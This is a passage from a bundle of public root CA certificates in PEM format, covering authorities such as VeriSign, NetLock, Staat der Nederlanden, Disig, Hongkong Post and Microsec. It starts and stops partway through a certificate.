ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwOCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk IHVzZSBvbmx5MTgwNgYDVQQDEy9WZXJpU2lnbiBVbml2ZXJzYWwgUm9vdCBDZXJ0aWZpY2F0aW9u IEF1dGhvcml0eTAeFw0wODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIG9MQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAyMDA4IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxODA2BgNVBAMTL1ZlcmlTaWduIFVuaXZlcnNhbCBSb290IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx2E3XrEBNNti1xWb/1hajCMj 1mCOkdeQmIN65lgZOIzF9uVkhbSicfvtvbnazU0AtMgtc6XHaXGVHzk8skQHnOgO+k1KxCHfKWGP MiJhgsWHH26MfF8WIFFE0XBPV+rjHOPMee5Y2A7Cs0WTwCznmhcrewA3ekEzeOEz4vMQGn+HLL72 9fdC4uW/h2KJXwBL38Xd5HVEMkE6HnFuacsLdUYI0crSK5XQz/u5QGtkjFdN/BMReYTtXlT2NJ8I AfMQJQYXStrxHXpma5hgZqTZ79IugvHw7wnqRMkVauIDbjPTrJ9VAMf2CGqUuV/c4DPxhGD5WycR tPwW8rtWaoAljQIDAQABo4GyMIGvMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMG0G CCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI/l0xqGrI2O a8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMB0GA1Ud DgQWBBS2d/ppSEefUxLVwuoHMnYH0ZcHGTANBgkqhkiG9w0BAQsFAAOCAQEASvj4sAPmLGd75JR3 Y8xuTPl9Dg3cyLk1uXBPY/ok+myDjEedO2Pzmvl2MpWRsXe8rJq+seQxIcaBlVZaDrHC1LGmWazx Y8u4TB1ZkErvkBYoH1quEPuBUDgMbMzxPcP1Y+Oz4yHJJDnp/RVmRvQbEdBNc6N9Rvk97ahfYtTx P/jgdFcrGJ2BtMQo2pSXpXDrrB2+BxHw1dvd5Yzw1TKwg+ZX4o+/vqGqvz0dtdQ46tewXDpPaj+P wGZsY6rp2aQW9IHRlRQOfc2VNNnSj3BzgXucfr2YYdhFh5iQxeuGMMY1v/D/w1WIg0vvBZIGcfK4 mJO37M2CYfE45k+XmCpajQ== -----END CERTIFICATE----- VeriSign Class 3 Public Primary Certification Authority - G4 ============================================================ -----BEGIN CERTIFICATE----- MIIDhDCCAwqgAwIBAgIQL4D+I4wOIg9IZxIokYesszAKBggqhkjOPQQDAzCByjELMAkGA1UEBhMC VVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3 b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVz ZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmlj YXRpb24gQXV0aG9yaXR5IC0gRzQwHhcNMDcxMTA1MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCByjEL MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBU cnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRo b3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASnVnp8 Utpkmw4tXNherJI9/gHmGUo9FANL+mAnINmDiWn6VMaaGF5VKmTeBvaNSjutEDxlPZCIBIngMGGz rl0Bp3vefLK+ymVhAIau2o970ImtTR1ZmkGxvEeA3J5iw/mjgbIwga8wDwYDVR0TAQH/BAUwAwEB /zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEw HzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24u Y29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFLMWkf3upm7ktS5Jj4d4gYDs5bG1MAoGCCqGSM49BAMD A2gAMGUCMGYhDBgmYFo4e1ZC4Kf8NoRRkSAsdk1DPcQdhCPQrNZ8NQbOzWm9kA3bbEhCHQ6qQgIx AJw9SDkjOVgaFRJZap7v1VmyHVIsmXHNxynfGyphe3HR3vPA5Q06Sqotp9iGKt0uEA== -----END CERTIFICATE----- NetLock Arany (Class Gold) Főtanúsítvány ============================================ -----BEGIN CERTIFICATE----- MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610 dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6 c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu 0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw /HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1 neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E= -----END CERTIFICATE----- Staat der Nederlanden Root CA - G2 ================================== -----BEGIN CERTIFICATE----- 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 66+KAQ== -----END CERTIFICATE----- CA Disig ======== -----BEGIN CERTIFICATE----- MIIEDzCCAvegAwIBAgIBATANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQGEwJTSzETMBEGA1UEBxMK QnJhdGlzbGF2YTETMBEGA1UEChMKRGlzaWcgYS5zLjERMA8GA1UEAxMIQ0EgRGlzaWcwHhcNMDYw MzIyMDEzOTM0WhcNMTYwMzIyMDEzOTM0WjBKMQswCQYDVQQGEwJTSzETMBEGA1UEBxMKQnJhdGlz bGF2YTETMBEGA1UEChMKRGlzaWcgYS5zLjERMA8GA1UEAxMIQ0EgRGlzaWcwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCS9jHBfYj9mQGp2HvycXXxMcbzdWb6UShGhJd4NLxs/LxFWYgm GErENx+hSkS943EE9UQX4j/8SFhvXJ56CbpRNyIjZkMhsDxkovhqFQ4/61HhVKndBpnXmjxUizkD Pw/Fzsbrg3ICqB9x8y34dQjbYkzo+s7552oftms1grrijxaSfQUMbEYDXcDtab86wYqg6I7ZuUUo hwjstMoVvoLdtUSLLa2GDGhibYVW8qwUYzrG0ZmsNHhWS8+2rT+MitcE5eN4TPWGqvWP+j1scaMt ymfraHtuM6kMgiioTGohQBUgDCZbg8KpFhXAJIJdKxatymP2dACw30PEEGBWZ2NFAgMBAAGjgf8w gfwwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUjbJJaJ1yCCW5wCf1UJNWSEZx+Y8wDgYDVR0P AQH/BAQDAgEGMDYGA1UdEQQvMC2BE2Nhb3BlcmF0b3JAZGlzaWcuc2uGFmh0dHA6Ly93d3cuZGlz aWcuc2svY2EwZgYDVR0fBF8wXTAtoCugKYYnaHR0cDovL3d3dy5kaXNpZy5zay9jYS9jcmwvY2Ff ZGlzaWcuY3JsMCygKqAohiZodHRwOi8vY2EuZGlzaWcuc2svY2EvY3JsL2NhX2Rpc2lnLmNybDAa BgNVHSAEEzARMA8GDSuBHpGT5goAAAABAQEwDQYJKoZIhvcNAQEFBQADggEBAF00dGFMrzvY/59t WDYcPQuBDRIrRhCA/ec8J9B6yKm2fnQwM6M6int0wHl5QpNt/7EpFIKrIYwvF/k/Ji/1WcbvgAa3 mkkp7M5+cTxqEEHA9tOasnxakZzArFvITV734VP/Q3f8nktnbNfzg9Gg4H8l37iYC5oyOGwwoPP/ CBUz91BKez6jPiCp3C9WgArtQVCwyfTssuMmRAAOb54GvCKWU3BlxFAKRmukLyeBEicTXxChds6K ezfqwzlhA5WYOudsiCUI/HloDYd9Yvi0X/vF2Ey9WLw/Q1vUHgFNPGO+I++MzVpQuGhU+QqZMxEA 4Z7CRneC9VkGjCFMhwnN5ag= -----END CERTIFICATE----- Juur-SK ======= -----BEGIN CERTIFICATE----- MIIE5jCCA86gAwIBAgIEO45L/DANBgkqhkiG9w0BAQUFADBdMRgwFgYJKoZIhvcNAQkBFglwa2lA c2suZWUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKExlBUyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMRAw DgYDVQQDEwdKdXVyLVNLMB4XDTAxMDgzMDE0MjMwMVoXDTE2MDgyNjE0MjMwMVowXTEYMBYGCSqG SIb3DQEJARYJcGtpQHNrLmVlMQswCQYDVQQGEwJFRTEiMCAGA1UEChMZQVMgU2VydGlmaXRzZWVy aW1pc2tlc2t1czEQMA4GA1UEAxMHSnV1ci1TSzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAIFxNj4zB9bjMI0TfncyRsvPGbJgMUaXhvSYRqTCZUXP00B841oiqBB4M8yIsdOBSvZiF3tf TQou0M+LI+5PAk676w7KvRhj6IAcjeEcjT3g/1tf6mTll+g/mX8MCgkzABpTpyHhOEvWgxutr2TC +Rx6jGZITWYfGAriPrsfB2WThbkasLnE+w0R9vXW+RvHLCu3GFH+4Hv2qEivbDtPL+/40UceJlfw UR0zlv/vWT3aTdEVNMfqPxZIe5EcgEMPPbgFPtGzlc3Yyg/CQ2fbt5PgIoIuvvVoKIO5wTtpeyDa Tpxt4brNj3pssAki14sL2xzVWiZbDcDq5WDQn/413z8CAwEAAaOCAawwggGoMA8GA1UdEwEB/wQF MAMBAf8wggEWBgNVHSAEggENMIIBCTCCAQUGCisGAQQBzh8BAQEwgfYwgdAGCCsGAQUFBwICMIHD HoHAAFMAZQBlACAAcwBlAHIAdABpAGYAaQBrAGEAYQB0ACAAbwBuACAAdgDkAGwAagBhAHMAdABh AHQAdQBkACAAQQBTAC0AaQBzACAAUwBlAHIAdABpAGYAaQB0AHMAZQBlAHIAaQBtAGkAcwBrAGUA cwBrAHUAcwAgAGEAbABhAG0ALQBTAEsAIABzAGUAcgB0AGkAZgBpAGsAYQBhAHQAaQBkAGUAIABr AGkAbgBuAGkAdABhAG0AaQBzAGUAawBzMCEGCCsGAQUFBwIBFhVodHRwOi8vd3d3LnNrLmVlL2Nw cy8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3d3dy5zay5lZS9qdXVyL2NybC8wHQYDVR0OBBYE FASqekej5ImvGs8KQKcYP2/v6X2+MB8GA1UdIwQYMBaAFASqekej5ImvGs8KQKcYP2/v6X2+MA4G A1UdDwEB/wQEAwIB5jANBgkqhkiG9w0BAQUFAAOCAQEAe8EYlFOiCfP+JmeaUOTDBS8rNXiRTHyo ERF5TElZrMj3hWVcRrs7EKACr81Ptcw2Kuxd/u+gkcm2k298gFTsxwhwDY77guwqYHhpNjbRxZyL abVAyJRld/JXIWY7zoVAtjNjGr95HvxcHdMdkxuLDF2FvZkwMhgJkVLpfKG6/2SSmuz+Ne6ML678 IIbsSt4beDI3poHSna9aEhbKmVv8b20OxaAehsmR0FyYgl9jDIpaq9iVpszLita/ZEuOyoqysOkh Mp6qqIWYNIE5ITuoOlIyPfZrN4YGWhWY3PARZv40ILcD9EEQfTmEeZZyY7aWAuVrua0ZTbvGRNs2 yyqcjg== -----END CERTIFICATE----- Hongkong Post Root CA 1 ======================= -----BEGIN CERTIFICATE----- MIIDMDCCAhigAwIBAgICA+gwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoT DUhvbmdrb25nIFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMB4XDTAzMDUx NTA1MTMxNFoXDTIzMDUxNTA0NTIyOVowRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoTDUhvbmdrb25n IFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEArP84tulmAknjorThkPlAj3n54r15/gK97iSSHSL22oVyaf7XPwnU3ZG1 ApzQjVrhVcNQhrkpJsLj2aDxaQMoIIBFIi1WpztUlVYiWR8o3x8gPW2iNr4joLFutbEnPzlTCeqr auh0ssJlXI6/fMN4hM2eFvz1Lk8gKgifd/PFHsSaUmYeSF7jEAaPIpjhZY4bXSNmO7ilMlHIhqqh qZ5/dpTCpmy3QfDVyAY45tQM4vM7TG1QjMSDJ8EThFk9nnV0ttgCXjqQesBCNnLsak3c78QA3xMY V18meMjWCnl3v/evt3a5pQuEF10Q6m/hq5URX208o1xNg1vysxmKgIsLhwIDAQABoyYwJDASBgNV HRMBAf8ECDAGAQH/AgEDMA4GA1UdDwEB/wQEAwIBxjANBgkqhkiG9w0BAQUFAAOCAQEADkbVPK7i h9legYsCmEEIjEy82tvuJxuC52pF7BaLT4Wg87JwvVqWuspube5Gi27nKi6Wsxkz67SfqLI37pio l7Yutmcn1KZJ/RyTZXaeQi/cImyaT/JaFTmxcdcrUehtHJjA2Sr0oYJ71clBoiMBdDhViw+5Lmei IAQ32pwL0xch4I+XeTRvhEgCIDMb5jREn5Fw9IBehEPCKdJsEhTkYY2sEJCehFC78JZvRZ+K88ps T/oROhUVRsPNH4NbLUES7VBnQRM9IauUiqpOfMGx+6fWtScvl6tu4B3i0RwsH0Ti/L6RoZz71ilT c4afU9hDDl3WY4JxHYB0yvbiAmvZWg== -----END CERTIFICATE----- SecureSign RootCA11 =================== -----BEGIN CERTIFICATE----- MIIDbTCCAlWgAwIBAgIBATANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQGEwJKUDErMCkGA1UEChMi SmFwYW4gQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcywgSW5jLjEcMBoGA1UEAxMTU2VjdXJlU2lnbiBS b290Q0ExMTAeFw0wOTA0MDgwNDU2NDdaFw0yOTA0MDgwNDU2NDdaMFgxCzAJBgNVBAYTAkpQMSsw KQYDVQQKEyJKYXBhbiBDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzLCBJbmMuMRwwGgYDVQQDExNTZWN1 cmVTaWduIFJvb3RDQTExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/XeqpRyQBTvL TJszi1oURaTnkBbR31fSIRCkF/3frNYfp+TbfPfs37gD2pRY/V1yfIw/XwFndBWW4wI8h9uuywGO wvNmxoVF9ALGOrVisq/6nL+k5tSAMJjzDbaTj6nU2DbysPyKyiyhFTOVMdrAG/LuYpmGYz+/3ZMq g6h2uRMft85OQoWPIucuGvKVCbIFtUROd6EgvanyTgp9UK31BQ1FT0Zx/Sg+U/sE2C3XZR1KG/rP O7AxmjVuyIsG0wCR8pQIZUyxNAYAeoni8McDWc/V1uinMrPmmECGxc0nEovMe863ETxiYAcjPitA bpSACW22s293bzUIUPsCh8U+iQIDAQABo0IwQDAdBgNVHQ4EFgQUW/hNT7KlhtQ60vFjmqC+CfZX t94wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAKCh OBZmLqdWHyGcBvod7bkixTgm2E5P7KN/ed5GIaGHd48HCJqypMWvDzKYC3xmKbabfSVSSUOrTC4r bnpwrxYO4wJs+0LmGJ1F2FXI6Dvd5+H0LgscNFxsWEr7jIhQX5Ucv+2rIrVls4W6ng+4reV6G4pQ Oh29Dbx7VFALuUKvVaAYga1lme++5Jy/xIWrQbJUb9wlze144o4MjQlJ3WN7WmmWAiGovVJZ6X01 y8hSyn+B/tlr0/cR7SXf+Of5pPpyl4RTDaXQMhhRdlkUbA/r7F+AjHVDg8OFmP9Mni0N5HeDk061 lgeLKBObjBmNQSdJQO7e5iNEOdyhIta6A/I= -----END CERTIFICATE----- ACEDICOM Root ============= -----BEGIN CERTIFICATE----- MIIFtTCCA52gAwIBAgIIYY3HhjsBggUwDQYJKoZIhvcNAQEFBQAwRDEWMBQGA1UEAwwNQUNFRElD T00gUm9vdDEMMAoGA1UECwwDUEtJMQ8wDQYDVQQKDAZFRElDT00xCzAJBgNVBAYTAkVTMB4XDTA4 MDQxODE2MjQyMloXDTI4MDQxMzE2MjQyMlowRDEWMBQGA1UEAwwNQUNFRElDT00gUm9vdDEMMAoG A1UECwwDUEtJMQ8wDQYDVQQKDAZFRElDT00xCzAJBgNVBAYTAkVTMIICIjANBgkqhkiG9w0BAQEF AAOCAg8AMIICCgKCAgEA/5KV4WgGdrQsyFhIyv2AVClVYyT/kGWbEHV7w2rbYgIB8hiGtXxaOLHk WLn709gtn70yN78sFW2+tfQh0hOR2QetAQXW8713zl9CgQr5auODAKgrLlUTY4HKRxx7XBZXehuD YAQ6PmXDzQHe3qTWDLqO3tkE7hdWIpuPY/1NFgu3e3eM+SW10W2ZEi5PGrjm6gSSrj0RuVFCPYew MYWveVqc/udOXpJPQ/yrOq2lEiZmueIM15jO1FillUAKt0SdE3QrwqXrIhWYENiLxQSfHY9g5QYb m8+5eaA9oiM/Qj9r+hwDezCNzmzAv+YbX79nuIQZ1RXve8uQNjFiybwCq0Zfm/4aaJQ0PZCOrfbk HQl/Sog4P75n/TSW9R28MHTLOO7VbKvU/PQAtwBbhTIWdjPp2KOZnQUAqhbm84F9b32qhm2tFXTT xKJxqvQUfecyuB+81fFOvW8XAjnXDpVCOscAPukmYxHqC9FK/xidstd7LzrZlvvoHpKuE1XI2Sf2 3EgbsCTBheN3nZqk8wwRHQ3ItBTutYJXCb8gWH8vIiPYcMt5bMlL8qkqyPyHK9caUPgn6C9D4zq9 2Fdx/c6mUlv53U3t5fZvie27k5x2IXXwkkwp9y+cAS7+UEaeZAwUswdbxcJzbPEHXEUkFDWug/Fq TYl6+rPYLWbwNof1K1MCAwEAAaOBqjCBpzAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKaz 4SsrSbbXc6GqlPUB53NlTKxQMA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUprPhKytJttdzoaqU 9QHnc2VMrFAwRAYDVR0gBD0wOzA5BgRVHSAAMDEwLwYIKwYBBQUHAgEWI2h0dHA6Ly9hY2VkaWNv bS5lZGljb21ncm91cC5jb20vZG9jMA0GCSqGSIb3DQEBBQUAA4ICAQDOLAtSUWImfQwng4/F9tqg aHtPkl7qpHMyEVNEskTLnewPeUKzEKbHDZ3Ltvo/Onzqv4hTGzz3gvoFNTPhNahXwOf9jU8/kzJP eGYDdwdY6ZXIfj7QeQCM8htRM5u8lOk6e25SLTKeI6RF+7YuE7CLGLHdztUdp0J/Vb77W7tH1Pwk zQSulgUV1qzOMPPKC8W64iLgpq0i5ALudBF/TP94HTXa5gI06xgSYXcGCRZj6hitoocf8seACQl1 ThCojz2GuHURwCRiipZ7SkXp7FnFvmuD5uHorLUwHv4FB4D54SMNUI8FmP8sX+g7tq3PgbUhh8oI KiMnMCArz+2UW6yyetLHKKGKC5tNSixthT8Jcjxn4tncB7rrZXtaAWPWkFtPF2Y9fwsZo5NjEFIq nxQWWOLcpfShFosOkYuByptZ+thrkQdlVV9SH686+5DdaaVbnG0OLLb6zqylfDJKZ0DcMDQj3dcE I2bw/FWAp/tmGYI1Z2JwOV5vx+qQQEQIHriy1tvuWacNGHk0vFQYXlPKNFHtRQrmjseCNj6nOGOp MCwXEGCSn1WHElkQwg9naRHMTh5+Spqtr0CodaxWkHS4oJyleW/c6RrIaQXpuvoDs3zk4E7Czp3o tkYNbn5XOmeUwssfnHdKZ05phkOTOPu220+DkdRgfks+KzgHVZhepA== -----END CERTIFICATE----- Microsec e-Szigno Root CA 2009 ============================== -----BEGIN CERTIFICATE----- MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG 0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm 1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775 tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02 yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi LXpUq3DDfSJlgnCW -----END CERTIFICATE----- E-Guven Kok Elektronik Sertifika Hizmet Saglayicisi =================================================== -----BEGIN CERTIFICATE----- MIIDtjCCAp6gAwIBAgIQRJmNPMADJ72cdpW56tustTANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG EwJUUjEoMCYGA1UEChMfRWxla3Ryb25payBCaWxnaSBHdXZlbmxpZ2kgQS5TLjE8MDoGA1UEAxMz ZS1HdXZlbiBLb2sgRWxla3Ryb25payBTZXJ0aWZpa2EgSGl6bWV0IFNhZ2xheWljaXNpMB4XDTA3 MDEwNDExMzI0OFoXDTE3MDEwNDExMzI0OFowdTELMAkGA1UEBhMCVFIxKDAmBgNVBAoTH0VsZWt0 